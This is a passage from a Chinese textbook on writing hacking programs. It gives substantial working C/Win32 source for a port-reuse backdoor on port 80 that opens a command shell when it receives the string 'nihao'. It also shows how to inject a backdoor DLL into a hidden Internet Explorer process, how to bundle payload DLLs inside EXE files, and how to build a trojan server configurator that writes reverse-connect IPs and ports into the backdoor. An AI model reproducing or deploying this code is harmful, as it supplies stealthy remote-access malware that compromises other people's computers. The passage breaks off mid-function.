1）初始化winsock库，建立套接字。在设置可重复绑定端口之前，需要先初始化winsock库，再建立套接字。

2）将套接字设置为可以重复绑定端口。实现端口复用也是把套接字绑定在已经被其他服务占用的端口上，在调用bind函数之前需要先调用setsockopt函数设置套接字，使其可以复用端口。

该函数是用来设置和socket相关的属性，其具体格式如下：

int setsockopt(SOCKET s,

int level,

int optname,

const char FAR*optval,

int optlen);

其中各个参数的具体作用如下：

s——该参数指向一个要对其进行设置的套接字句柄。

level——指向要设置套接字处于socket的层次，目前仅支持SOL_SOCKET和IPPROTO_TCP以及NSPROTO_IPX层次。

optname——要设置的选项属性。

optval——指针，指向存放选项值的缓冲区。

optlen——optval缓冲区的长度。

setsockopt函数调用的具体格式如下：

int val=1;

if(setsockopt(sListen, SOL_SOCKET, SO_REUSEADDR,(char*)＆val, sizeof(val))!=0)//设置套节字为可以重复绑定端口

{

printf("setsockopt error\n");

return 0;

}

如果该函数调用成功则返回SOCKET_ERROR。

3）绑定到本地地址，等待连接。在设置完可重复绑定端口属性后，可以使用bind函数将其套接字绑定到公网的IP上，并使用listen函数监听端口。

4）在监听的过程中如果接收到连接，则使用accept函数接收新连接，并以该函数返回的套接字为参数，使用CreateThread函数创建新线程。这几部分的具体实现代码如下：

int main(int argc, char*argv[])

{

char szHost[256];

sockaddr_in saddr;

sockaddr_in caddr;

SOCKET sListen;

SOCKET sClient[1000];

WSADATA wsaData;

WORD sockVersion=MAKEWORD(2,2);

if(WSAStartup(sockVersion,＆wsaData)!=0)//加载winsock库

return 0;

gethostname(szHost,256);//得到本地的一块网卡的IP

hostent*pHost=gethostbyname(szHost);

in_addr addr;

memcpy(＆addr.S_un.S_addr, pHost-＞h_addr_list[0],pHost-＞h_length);

saddr.sin_family=AF_INET;

saddr.sin_addr.S_un.S_addr=addr.S_un.S_addr;//设置要绑定的IP地址,公网IP

saddr.sin_port=htons(80);//建立套接字

sListen=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,0,0);

if(sListen==SOCKET_ERROR)

{

printf("WSASocket error\n");

return 0;

}

int val=1;

if(setsockopt(sListen, SOL_SOCKET, SO_REUSEADDR,(char*)＆val, sizeof(val))!=0)//设置套接字为可以重复绑定端口

{

printf("setsockopt error\n");

return 0;

}

if(bind(sListen,(SOCKADDR*)＆saddr, sizeof(saddr))==SOCKET_ERROR)//绑定套接字到公网IP上

{

printf("bind error\n");

return 0;

}

listen(sListen,1000);//监听套接字

DWORD ThreadId;

HANDLE hThread;

for(int i=0;i＜1000;i++)

{

int Addrsize=sizeof(caddr);

sClient[i]=accept(sListen,(struct sockaddr*)＆caddr,＆Addrsize);//接受新连接

printf("%s\n",inet_ntoa(caddr.sin_addr));

if(sClient[i]!=INVALID_SOCKET)

{

hThread=CreateThread(NULL,0,ThreadProc,(LPVOID)sClient[i],0,＆ThreadId);//开启新线程

if(hThread==NULL)

{

printf("CreateThread error");

break;

}

}

CloseHandle(hThread);

}

closesocket(sListen);

WSACleanup();

return 0;

}

5）设置线程函数。在创建线程后需调用线程函数ThreadProc设置相应属性。由于后门在没有收到特征字符串时，就相当于是一个数据发送的中转，这样就会使整个收发过程比没有中转情况要慢。需要先设置接收和发送数据的超时时间，还要用到setsocketopt函数。还需要将接收到的数据转发给127.0.0.1，并将从127.0.0.1收到的数据发给用户，同时判断特征字符，有则开启后门函数。这一部分的具体实现代码如下：

DWORD WINAPI ThreadProc(LPVOID lpParam)

{

SOCKET sClient=(SOCKET)lpParam;

SOCKET sNative;

char buff[4096]={0};

SOCKADDR_IN saddr;

DWORD val;

saddr.sin_family=AF_INET;

saddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");//设置要连接的回环地址

saddr.sin_port=htons(80);

if((sNative=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==SOCKET_ERROR)//建立套接字

{

printf("socket error\n");

return 0;

}

val=100;

if(setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO,(char*)＆val, sizeof(val))!=0)//设置收发数据超时时间

{

printf("setsockopt sNative error\n");

return 0;

}

if(setsockopt(sClient, SOL_SOCKET, SO_RCVTIMEO,(char*)＆val, sizeof(val))!=0)

{

printf("setsockopt sClient failed\n");

return 0;

}

if(connect(sNative,(SOCKADDR*)＆saddr, sizeof(saddr))!=0)//连接127.0.0.1的80端口

{

printf("connect sNative failed\n");

closesocket(sNative);

closesocket(sClient);

return 0;

}

DWORD ret;

//循环接收从客户发来的数据,发给127.0.0.1,同时把从127.0.0.1收到的数据发给客户并判断特征字符

while(TRUE)

{

ret=recv(sClient, buff,4096,0);//接收从客户来的数据

if(ret＞0)

{

if(strncmp(buff,"nihao",5)==0)//判断特征字符串,相同则调用后门函数

{

cmdshell(sClient);

break;

}

//发送给127.0.0.1

send(sNative, buff, ret,0);

}

else if(ret==SOCKET_ERROR)

break;

ret=recv(sNative, buff,4096,0);//接收从127.0.0.1来的数据

if(ret＞0)

send(sClient, buff, ret,0);//发送给客户

else if(ret==SOCKET_ERROR)

break;

}

closesocket(sClient);

closesocket(sNative);

return 0;

}

其中SO_RCVTIMEO参数的作用是对收发数据超时进行设置，val表示设置超时的毫秒数：100毫秒。而sClient套接字指向用户；sNative套接字指向127.0.0.1。从上述代码中可以看出，当收到数据的前5个字符是nihao时，就会调用后门函数。

5.3　专家点拨

点拨1：在编写端口复用后门时，为什么要将套接字设置为可重复绑定端口？

解答：这样设置的原因在于，一般情况下一个端口只能被一个程序所占用，但如果通过套接字设置了端口复用选项，则该套接字就可以绑定在已经被占用的端口上。

点拨2：在编写远程注入过程中为什么要返回LoadLibrary函数的地址？

解答：由于DLL文件被加载时会执行DLLMain中的代码，所以可以在DLLMain函数中写入后门代码。这样当远程线程启动后，LoadLibrary函数加载后门DLL文件时，加入的后门代码就可以运行了。同时，LoadLibrary函数是一个KERNEL32.DLL文件导出函数，每个系统进程都会加载这个DLL，该函数的代码就会映射到每个系统进程中，因此，要使用GetProAddress函数得到LoadLibrary函数的地址。

5.4　总结与经验积累

本章主要介绍了高级后门编程技术，有助于读者掌握远程线程注入后门和端口复用后门的基本实现过程以及通过编程来编辑出这两种后门。最为重要的是这两种后门具有很强的隐藏性。通过远程线程注入技术可以将编制的线程注入目标进程中运行。注入的线程将会与目标进程一起共同存在，并不容易被用户发现及删除，这就是远程线程注入后门的基本工作原理。

而在系统已开放的端口上进行通信，只对输入的信息进行字符匹配，不对网络数据进行任何拦截、复制类操作，因此，对网络数据的传输性能丝毫不受影响，这就给复用端口后门提供了可能性。

第6章
黑客程序的配置和数据包嗅探

重点提示

♂文件生成技术

♂黑客程序的配置

♂数据包嗅探

对于普通应用程序，一个程序包含多个文件不会产生不良后果，对于黑客程序来说，这会给用户带来很多不便，还需要对这些程序进行相应设置。而数据包嗅探（Packet Sniffer），是能够捕获通过一个网络或部分网络的程序，现在嗅探已成为黑客常用的手段之一。

6.1　文件生成技术

在黑客程序编写过程中，如果想实现一次上传多个文件，就是要用“多个文件变成一个文件”技术对文件进行设置。该项技术的实质是在编译时先把多个文件整合成一个文件，运行后释放原来整合的文件到相应的目录中，最后程序才执行自身功能。如对于一个DLL文件和一个EXE文件，可以先将DLL文件包含在EXE文件中，一旦EXE程序运行就把包含的DLL文件释放到相应的目录中，DLL文件又可被正常调用了。

6.1.1　资源法生成文件

在资源法中涉及的资源是指PE文件中的资源。计算机上任何以文件形式存在的数据都可以看成资源包含在PE文件中，如图片、声音、视频等。这些资源可以载入内存运行时被自身访问、修改。在一般情况下，资源会被包含在名为.rsrc的预定义段中。

这里以插入进程的后门为例介绍如何利用资源法生成文件。由于该后门包含一个EXE文件和一个DLL文件，现在需要在EXE文件编译时，把DLL文件作为其资源一起编译。待编译完成后，DLL文件就会以PE资源的形式包含在EXE文件中。

在编译之后，在EXE文件的工程中也需要添加新的代码，而且这些代码必须在EXE程序调用DLL文件前开始执行，这是因为添加的代码的作用是把资源导出成为一个DLL文件。其具体实现过程如图6-1所示。

图　6-1　使用资源生成法生成文件流程

从图6-1中不难看出，需要先将DLL文件以资源的形式包含在EXE文件中。在【Microsoft Visual C++】窗口中的工程根目录下创建一个resource.h的文件，再在该文件中添加相应的代码，如图6-2所示。添加的代码如下：

#define RC_DLL 256

#define ID_BACKDOOR_DLL 100

再在工程根目录下新建一个res.rc文件，并添加如下代码：

#include"resource.h"

ID_BACKDOOR_DLL RC_DLL BackdoorDll.dll

其中各个字段的含义如下：

RC_DLL表示资源类型。

ID_BACKDOOR_DLL RC_DLL是资源的ID号。

Backdoor Dll. dll是以资源形式包含在EXE文件中的DLL文件名。

在完成操作之后还需将BackdoorDll.dll文件复制到工程根目录中，并修改相关工程文件，即让工程包含res.rc和resource.h两个文件。因为resource.h是头文件，所以只需要在InjectDll.cpp文件中添加包含resource.h头文件的#include"resource.h"代码即可。如果想让工程包含res.rc文件，则可以在【Microsoft Visual C++】窗口中右击"InjectDll files"，在弹出的快捷菜单中选择“添加文件到工程”选项，即可打开【输入文件到工程】对话框，如图6-3所示。在其中选择刚创建的res.rc文件之后，单击【确定】按钮，即可将该文件添加到工程中。

图　6-2　在【Microsoft Visual C++】窗口创建文件

图　6-3　【输入文件到工程】对话框

在编译之后不难发现，EXE文件比原来的大了很多，这是因为DLL文件以资源的形式被包含进去了。这样，把DLL以资源的形式包含在EXE文件中就完成了。

下面来介绍几个与资源操作相关的API函数，在把资源导出为DLL文件时都会使用到这些函数。

1.FindResource函数

FindResource函数是用来确定指定模块中指定类型和名称的资源所在位置。

该函数的具体格式如下：

HRSRC FindResource(

HMODULE hModule,

LPCTSTR lpName,

LPCTSTR lpType);

其中各个参数的具体含义如下：

hModule：处理包含资源的可执行文件模块。NULL值则指定模块句柄指向操作系统。通常情况下创建最近过程的相关位图文件。

lpName：指定资源名称。

lpType：指定资源类型。

如果参数lpType或lpName的高字节为0，则其低字节中所给定的资源的类型或名称标识说明。另外，这些参数指向以NULL为终止符的字符串。字符串的第一个字符是#，后面的字符用十进制数来表示源类型或名称的整数标识符。例如。字符串“#158”表示整数标识符158。如果该函数运行成功，则返回值为指向被指定资源信息块的句柄。如果函数运行失败，则返回值为NULL。

2.LoadResource函数

LoadResource函数的作用是装载指定资源到全局存储器。该函数的具体格式如下：

HGLOSAL LoadResource(

HMODULE hModule,

HRSRC hReslnfo);

其包含的各个参数的具体含义如下：

hModule：处理包含资源的可执行文件的模块句柄。若hModule为NULL，系统从当前过程的模块中装载资源。

hReslnfo：将被装载资源的句柄必须由函数FindResource或FindResourceEx创建。

如果该函数运行成功，返回值是相关资源的数据的句柄。如果函数运行失败，返回值为NULL。

3.LockResource函数

该函数锁定内存中的指定资源，即返回资源在内存中的地址，通常和GlobalUnlock（解除内存中的指定资源）函数一同使用。具体格式：

LPVOID LockResource(HGLOBAL hResDate);

该函数只包括一个hResDate参数：指向被装载的资源的句柄，由函数LoadResource返回。如果该函数调用成功，则返回值是资源第一个字节的指针；否则为NULL。

4.SizeofResource函数

该函数的作用是返回指定资源字节数大小。如果该函数运行成功，返回值为资源的字节数。如果函数运行失败，返回值为零。

其具体格式如下：

DWORD SizeofResource(

HMODULE hModule,

HRSRC hReslnfo);

其中包含的参数的具体作用如下：

hModule：包含资源的可执行文件模块的句柄。

hReslnfo：资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。

在了解几个与资源操作相关的函数后，就可以将资源导出为文件形式。在C++编程中，其具体实现流程如图6-4所示。从中不难看出：将资源导出为文件的过程其实就是调用几个API函数的过程。可以将整个过程封装为一个ResourceToFile函数，该函数的具体内容如下：

void ResourceToFile(char*filename, char*Name, char*Type)

{

HRSRC hRes=FindResource(NULL, Name, Type);//寻找自身进程中的资源

if(hRes==NULL)

return;

HGLOBAL hgRes=LoadResource(NULL, hRes);//导入资源

if(hgRes==NULL)

return;

void*pRes=LockResource(hgRes);//锁定资源

if(pRes==NULL)

return;

DWORD size=SizeofResource(NULL, hRes);//得到资源字节数

if(size==0)

return;

HANDLE hFile=CreateFile(filename, GENERIC_WRITE,0,0,CREATE_ALWAYS, FILE_ATTRIBUTE_

NORMAL,0);//创建文件

if(hFile==INVALID_HANDLE_VALUE)

return;

DWORD dwWrite;

if(!WriteFile(hFile, pRes, size,＆dwWrite,0))//把资源写入到文件

return;

CloseHandle(hFile);//关闭文件句柄

GlobalFree(hgRes);//释放资源

}

图　6-4　将资源导出为文件的具体流程

ResourceToFile函数中的filename函数是指要创建的DLL文件名；Name参数是资源名；而Type参数是资源类型。WinMain函数的调用方法如下：

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

char Path[256];

char DllPath[256];

GetSystemDirectory(Path, sizeof(Path));//得到Windows系统路径

Path[3]=0x00;//0x00截断字符,得到盘符

strcat(Path,"Program Files\\Internet Explorer\\iexplore.exe");//得到IE带路径文件名

WinExec(Path, SW_HIDE);//启动IE,为了防止系统中没有IE进程

Sleep(2000);//暂停两秒,等待IE启动

DWORD Pid=GetProcessID("iexplore.exe");//得到IE进程

GetCurrentDirectory(sizeof(DllPath),DllPath);//得到程序自身路径

strcat(DllPath,"\\BackDoorDll.dll");//得到DLL带路径文件名

ResourceToFile(DllPath, MAKEINTRESOURCE(ID_BACKDOOR_DLL),

MAKEINTRESOURCE(RC_DLL));//把资源导出成为DLL文件

InjectDll(DllPath, Pid);//注入IE进程

return 0;

}

其中MAKEINTRESOURCE是一个宏，用于把整型数据转换为字符串型数据。

6.1.2　附加文件法生成文件

附加文件法是在EXE文件尾部写入DLL文件的数据，当EXE运行时就创建一个DLL文件，读取自身文件尾部的DLL内容，并把这部分数据写入要创建的DLL文件中。附加文件法也是一种生成文件的方法。

仍然以插入远程进程的后门为例介绍如何使用附加文件法生成文件。要想使用附加文件法，则需要将一个EXE文件和一个DLL文件整合成一个文件，当该文件被载入内存开始运行时就把DLL导出为独立文件。其具体实现过程如图6-5所示。可以将这个过程分为整合文件和导出文件两个步骤：利用外部程序把DLL文件中的所有数据写入到EXE文件的末尾，将两个文件合并成一个文件。而在程序运行后，需要将DLL文件部分导出为独立的DLL文件。如果想实现这一功能，则必须在EXE文件调用DLL文件前，通过读取自身文件尾部的DLL部分，把读到的数据写入新建的DLL文件中。

图　6-5　附加文件法生成文件的流程

下面介绍合并文件部分，先以只读方式打开DLL文件、以只写方式打开EXE文件；再利用SetFilePointer函数将EXE文件的指针移到文件的尾部；需从DLL文件中读取设置的字节数，如2500字节；将读取到的字节写到EXE文件尾部。具体实现过程如图6-6所示。

图　6-6　文件整合的具体过程

从图6-6中可以看出，程序会反复读取DLL文件，每次读取设置的字节数，并且把读到的数据写到EXE文件的尾部。如果读到的实际数据少于设置的字节数，则表明DLL文件已被读到末尾，此时只需把这次读到的数据写入EXE文件即可完成EXE文件与DLL文件的整合。

其实现代码如下：

#include"stdafx.h"

#include＜windows.h＞

#include＜stdio.h＞

int main(int argc, char*argv[])

{

HANDLE nhFile=CreateFile(argv[1],GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);//只读方式打开DLL文件

if(nhFile==INVALID_HANDLE_VALUE)

{

printf("CreateFile error\n");

return 0;

}

HANDLE shFile=CreateFile(argv[2],GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);//只写方式打开EXE文件

if(shFile==INVALID_HANDLE_VALUE)

{

printf("CreateFile error\n");

return 0;

}

//把EXE文件的指针移动到文件末尾

if(SetFilePointer(shFile,0,NULL, FILE_END)==-1)

{

printf("SetFilePointer error\n");

return 0;

}

char buff[2500]={0};

DWORD dwRead;

DWORD dwWrite;

while(1)

{

if(!ReadFile(nhFile, buff,2500,＆dwRead, NULL))//每次读取2500字节

{

printf("ReadFile error\n");

return 0;

}

//读到的实际值小于2500字节

if(dwRead＜2500)

{

if(!WriteFile(shFile, buff, dwRead,＆dwWrite, NULL))//写入实际读到的字节数

{

printf("WriteFile error\n");

return 0;

}

break;//跳出循环

}

//写入读到的2500字节

if(!WriteFile(shFile, buff,2500,＆dwWrite, NULL))

{

printf("WriteFile error\n");

return 0;

}

}

printf("合并文件成功\n");

//关闭文件句柄

CloseHandle(shFile);

CloseHandle(nhFile);

return 0;

}

其实导出文件和合并文件的过程非常相似，先以只读形式打开自身文件；使用CreateFile函数创建一个DLL文件，并把文件指针移动到EXE文件中的DLL部分；读取设置字节的数据，再将其写入到创建的DLL文件中。其具体实现代码如下：

GetModuleFileName(NULL, szName,256);//得到自身文件名

HANDLE shFile=CreateFile(szName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);//只读方式打开自身文件

if(shFile==INVALID_HANDLE_VALUE)

{

printf("CreateFile error\n");

return 0;

}

HANDLE hFile=CreateFile(DllPath, GENERIC_WRITE,0,NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);//创建DLL文件

if(hFile==INVALID_HANDLE_VALUE)

{

printf("CreateFile error\n");

return 0;

}

if(SetFilePointer(shFile,-50125,NULL, FILE_END)==-1)//移动文件指针到DLL部分

{

printf("SetFilePointer error\n");

return 0;

}

char buff[2500]={0};

DWORD dwRead;

DWORD dwWrite;

while(1)

{

if(!ReadFile(shFile, buff,2500,＆dwRead, NULL))//读取2500字节

{

printf("ReadFile error\n");

return 0;

}

if(dwRead＜2500)

{

if(!WriteFile(hFile, buff, dwRead,＆dwWrite, NULL))//写入实际读到的字节数

{

printf("WriteFile error\n");

return 0;

}

break;

}

if(!WriteFile(hFile, buff,2500,＆dwWrite, NULL))//写入读到的2500字节

{

printf("WriteFile error\n");

return 0;

}

}

CloseHandle(hFile);

CloseHandle(shFile);

其中"if(SetFilePointer(shFile,-50125,NULL, FILE_END)==-1)"中的“50125”是DLL文件的大小，指针就移动到EXE文件中的DLL文件部分了。在【命令提示符】窗口中只要运行“EXE文件名DLL文件名合并后的EXE文件名”命令，可以实现两个文件的整合，如图6-7所示。

图　6-7　成功合并文件

6.2　黑客程序的配置

现在使用木马或后门程序，很多都需要客户端配置生成木马或后门的服务端，如灰鸽子就有这项功能，其服务端配置窗口如图6-8所示。在其中输入相应的配置信息，如反向连接IP、自启动方式、代理服务等，单击【生成服务器】按钮，即可看到【配置服务器程序成功】提示信息，如图6-9所示。

这样不仅可以生成服务端，还可以满足不同用户的需要。如果在编程过程中，要想改变这些信息，则需要修改源代码，重新编译才可以实现。在本节就来介绍如何通过编程来配置木马或后门程序。

图　6-8　【灰鸽子服务器配置】窗口

图　6-9　配置服务器程序成功提示

6.2.1　数据替换法

数据替换时使用新的数据来覆盖原来的数据，这里以零管道反向连接后门为例。例如，可使用"sin.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");"来设置反向连接的目标IP地址。如果想连接IP地址为192.168.0.12，可将源文件中的“127.0.0.1”替换成“192.168.0.1”，则后门反向连接的IP地址就变成“192.168.0.1”。

但这样容易出现错误，因为“127.0.0.1”的长度是9个字节，而“192.168.0.1”占用11字节，这样用“192.168.0.1”直接替换“127.0.0.1”，就会覆盖“127.0.0.1”后面的两个字节的数据。如果这个字节的数据在程序中非常重要，则被替换后的程序就有可能出现错误，甚至崩溃。所以直接替换是一种不安全的做法。可将上述代码修改为下列代码：

Char Ip[256]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

sin.sin_addr.S_un.S_addr=inet_addr(Ip);

上面IP变量包含了32字节的A字符，而该变量又是作为反向连接的目标IP，所以当源码编译后，32字节长度的A就会存在于EXE文件中。如果现在定义一个变量，如char mIp[256]=“192.168.0.1”，并且使用mIp的数据替换EXE中的所有A，则当被替换成功的EXE文件运行后，Ip变量的数据就变成“192.168.0.1”。

这是因为在Windows中字符串是以0x00结尾的，当写入mIp时，在“192.168.0.1”后面还要写入一个字节0x00，所以程序运行后Ip变量的数据就在“192.168.0.1”处被截断，此时Ip变量所表示的数据就是192.168.0.1。这样，就避免了覆盖其他数据的问题。

注意　字节是计算机信息技术用于计量存储容量和传输容量的一种计量单位，1个字节等于8位二进制。在ASCII码中，一个英文字母（不分大小写）占一个字节的空间，一个中文汉字占两个字节的空间。英文标点占一个字节，中文标点占两个字节。如英文句号“.”占1个字节的大小，中文句号“。”占2个字节的大小。

在反向连接后门中，还要配置反向连接的端口。其端口在源代码中的定义如下：

Sin_sin_port=htons(1500);

从上面代码中不难看出：反向连接后门的端口号是以整数形式存在的。根据前面介绍的替换原理，只需要把EXE文件中整型数据替换成其他端口即可。但在EXE文件中可能查询有多个数值为1500的数据，替换哪个1500就成为问题。

此时可以将端口的代码定义为如下格式：

Char Port[256]="BBBBBBBBBBBBBBBBBB";

Sin_sin_port=htons(atoi(Port));

上面的代码先将端口变量定义为一段字符串B，把编译后的EXE程序中的这段B替换成端口号的字符串（如1433），当替换成功的EXE程序运行后，atoi()函数会把字符串1433转换成整型1433，这样就不存在上面的问题。要对后门进行配置，一般要做的工作有三项，即利用MFC生成窗口程序、生成一个后门服务端程序和修改反向连接端口。

1.生成窗口程序

由于生成服务器端程序一般需要在一个窗口中进行相应的设置，单击【生成】按钮才可以生成。所以在设置程序之前需要在【Microsoft Visual VC++】窗口中利用MFC创建一个窗口程序。具体的操作步骤如下：

步骤1　在【Microsoft Visual VC++】窗口中选择【文件】→【新建】菜单项，即可打开【新建】对话框，如图6-10所示。在“工程”列表中选择"MFC AppWizard[exe]"选项后，在“工程名称”文本框中输入新建工程的名称。

图　6-10　【新建】对话框

步骤2　单击【确定】按钮，即可打开【MFC应用程序向导-步骤1】对话框，如图6-11所示。在“您要创建的应用程序类型是”选项组中选择“基本对话框”单选按钮，并在“您的资源使用的语言是”下拉列表中选择“中文[中国]（APPWZCHS.DLL）”选项。

图　6-11　【MFC应用程序向导-步骤1】对话框

步骤3　单击【完成】按钮，即可打开【新建工程信息】对话框，如图6-12所示。在其中可以看到新创建工程的详细信息。由于这里只是创建一个基本的MFC工程，在设置完创建应用程序类型后，可以直接单击【完成】按钮完成MFC工程的创建。

图　6-12　【新建工程信息】对话框

步骤4　单击【确定】按钮，即可在【Microsoft Visual VC++】窗口中打开刚创建的MFC工程，如图6-13所示。

图　6-13　打开刚创建的工程

步骤5　先将其中的【确定】按钮和【取消】按钮删除，再画上两个静态文本框、两个文本框和一个按钮。完成后的效果如图6-14所示。

图　6-14　设计完毕的工程界面

步骤6　在【Microsoft Visual VC++】窗口中选择【查看】→【建立类向导】菜单项，即可打开【MFC ClassWizard】对话框，如图6-15所示。

图　6-15　【MFC ClassWizard】对话框

步骤7　在"Member Variables"选项卡中选择"IDC_EDIT1"选项，单击【Add Variable】按钮，即可打开【Add Member Variable】对话框，如图6-16所示。在"Member variable name"文本框中输入"m_Ip"，在"Variable type"下拉列表中选择"CString"选项。

图　6-16　【Add Member Variable】对话框

步骤8　单击【OK】按钮，即可在【MFC ClassWizard】对话框中看到刚添加的属性。采用同样的方法给"IDC_EDIT2"选项添加m_Port属性，如图6-17所示。

图　6-17　添加的m_Ip和m_Port属性

步骤9　切换到"Message Maps"选项卡，在"Object IDs"列表中选择"IDC_BUTTON1"选项，如图6-18所示。在右边"Messages"列表中选择"BN_CLICKED"选项，单击【Add Function】按钮，即可打开【Add Member Function】对话框，如图6-19所示。

图　6-18　"Message Maps"选项卡

图　6-19　【Add Member Function】对话框

步骤10　在"Member function name"文本框中输入要添加功能的名称，单击【OK】按钮，即可在【MFC ClassWizard】对话框的“Member functions（成员功能）”列表中看到添加的功能，如图6-20所示。

图　6-20　查看添加的功能

步骤11　单击【Edit Code（编辑代码）】按钮即可为单击事件添加代码，如图6-21所示。该事件要完成生成后门服务器端程序和修改反向连接端口、IP两项功能。

图　6-21　为事件添加代码

2.配置服务器程序和修改反向连接端口、IP

生成后门服务端程序可采用资源法和附加文件法，这里采用资源法，其实现流程如图6-22所示。把资源写入到另一块申请的大小相同的内存空间，通过遍历、修改配置信息，最后把该内存中的数据保存为文件即可。由于资源所在的内存地址是不可写的，所以要将其写到另一个内存空间中。在这里需要把后门程序作为资源导入到工程中。

图　6-22　生成后门服务端程序具体流程

具体的操作步骤如下。

步骤1　在【Microsoft Visual VC++】窗口中打开其“资源”选项卡，即可在其中看到包含的"native resource"资源，如图6-23所示。

图　6-23　打开“资源”选项卡

步骤2　右击"native resource"选项，在弹出的快捷菜单中选择“引入”选项，即可打开【引入资源】对话框，如图6-24所示。在“文件类型”下拉列表中选择“所有文件（*.*）”选项，再选择要引入的后门文件。

图　6-24　【引入资源】对话框

步骤3　单击【引入】按钮，即可打开【自定义资源类型】对话框，如图6-25所示。选中下面的"EXE"选项后，即可将其添加到“资源类型”文本框中。

图　6-25　【自定义资源类型】对话框

步骤4　单击【确定】按钮，即可在【Microsoft Visual VC++】窗口中的"native resource"选项下多出一个"EXE"选项，如图6-26所示。

图　6-26　将后门程序添加到工程中

到这里已经成功把后门以资源的形式导入到工程中，其中"EXE"代表资源类型，而IDR_EXE1是资源的ID编号。下面编写【生成】按钮单击事件的代码。实现代码如下：

void CNativeDlg:OnShengCheng()

{

UpdateData(TRUE);//获得文本框的内容

char*hmem;

DWORD size2;

HRSRC hRes=FindResource(NULL, MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源

HGLOBAL hgRes=LoadResource(NULL, hRes);//导入资源

void*pRes=LockResource(hgRes);//锁定资源

DWORD size=SizeofResource(NULL, hRes);//得到资源大小

hmem=(char*)malloc(size+1);//申请内存空间

WriteProcessMemory(GetCurrentProcess(),hmem, pRes, size,＆size2);//把资源文件写入新申请的内存空间

char Port[256]="AAAAAAAAAAAAAAAAAA";

char Ip[256]="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";

if(!FindMem(hmem, size, Port, m_Port.GetBuffer(m_Port.GetLength())))//遍历内存空间替换配置信息

{

:MessageBox(NULL,"写入IP错误","错误",NULL);

return;

}

if(!FindMem(hmem, size, Ip, m_Ip.GetBuffer(m_Ip.GetLength())))//遍历内存空间替换配置信息

{

:MessageBox(NULL,"写入IP错误","错误",NULL);

return;

}

HANDLE hFile=CreateFile("door.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);//创建文件

DWORD dwWrite;

WriteFile(hFile,(void*)hmem, size,＆dwWrite,0);//把内存中的数据写入文件

CloseHandle(hFile);//关闭文件句柄

GlobalFree(hgRes);//释放资源句柄

:MessageBox(NULL,"恭喜你,生成成功","生成成功",0);

}

其中FindMem函数是一个自定义函数，其用来遍历内存、替换配置信息。该函数的具体调用方式如下：

BOOL FindMem(char*hmem, int len, char*from, char*to)//hmem要查找的起始地址,len要查找的内存大小,from要查找的字符指针,to要修改成的内容

{

char charf[100],chart[100],*charg;

BOOL result=false;

strcpy(charf, from);

strcpy(chart, to);

for(int i=0;i＜len;i++)

{

charg=hmem+i;

if(strcmp(charg, charf)==0)//内存中的数据和要查找的数据比较

{

if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)(hmem+i),chart, strlen(chart)+1,NULL))//写入配置信息

result=true;

break;

}

}

return result;

}

在完成配置程序后就可以运行设置后的后门程序，其运行界面如图6-27所示。在其中输入要配置的信息之后，单击【生成】按钮，即可看到相应的提示信息，如图6-28所示。

图　6-27　设置的后门程序运行界面

图　6-28　【生成成功】提示框

6.2.2　附加信息法

附加信息法也是实现黑客程序配置功能的一种常用的方法，与附加文件法非常相似。附加文件法是把要生成的文件写入到配置生成程序的文件尾部，而附加信息法是把黑客程序的配置信息（反向连接IP和端口）写到后门服务端文件的尾部，后门服务端运行时就可以通过读取自身文件尾部的数据，来获得用户提供的配置信息。

所以配置程序要完成的工作就是生成后门服务端文件，并在文件尾部写入配置信息；而后门服务端的主要工作是读取文件尾部的配置信息，并根据配置信息反向连接。为了便于读取和写入配置信息，需要定义一个结构来存放后门程序的配置信息。该结构的具体格式如下：

typedef struct_Info

{

char ip[100];//存放反向连接IP

int port;//存放反向连接端口

}Info;

下面介绍如何使用附加信息法对黑客程序进行配置。先编写后门服务器端程序，其作用是读取自身文件尾部的配置信息。其实现代码如下：

GetModuleFileName(NULL, szName,256);//得到自身进程文件名

HANDLE hFile=CreateFile(szName, GENERIC_READ, FILE_SHARE_READ, NULL,

OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//以只读方式打开自身文件

if(hFile==INVALID_HANDLE_VALUE)

{

return 0;

}

if(SetFilePointer(hFile,-sizeof(Info),NULL, FILE_END)==-1)//定位到配置信息处

{

return 0;

}

Info mInfo={0};

DWORD dwRead;

if(!ReadFile(hFile,＆mInfo, sizeof(Info),＆dwRead, NULL))//读取配置信息

{

return 0;

}

CloseHandle(hFile);//关闭文件句柄

sockaddr_in sin;

sin.sin_family=AF_INET;

sin.sin_port=htons(mInfo.port);//使用配置信息中的端口

sin.sin_addr.S_un.S_addr=inet_addr(mInfo.ip);//使用配置信息中的IP

if(connect(s,(sockaddr*)＆sin, sizeof(sin))==-1)//发起连接

{

printf("connect error\n");

return 0;

}

if(send(s, wMessage, strlen(wMessage),0)==SOCKET_ERROR)

{

printf("Send message error\n");

return 0;

}

在编写好后门服务端程序后，就可以编写后门的配置程序，采用前一节介绍的方法创建一个MFC工程，并设计其界面布局，把修改好的后门服务端程序以资源的形式导入到MFC工程中。下面只需为【生成】按钮添加相应的功能代码即可。添加的代码如下：

void CNativeDlg:OnShengCheng()

{

UpdateData(TRUE);//获得文本框内容

ResourceToFile("door.exe",MAKEINTRESOURCE(IDR_EXE1),"EXE");//把资源导出成文件

char Path[256];

Info mInfo={0};

mInfo.port=atoi(m_Port.GetBuffer(m_Port.GetLength()));//得到文本框中的端口

strcpy(mInfo.ip, m_Ip.GetBuffer(m_Ip.GetLength()));//得到文本框中的IP

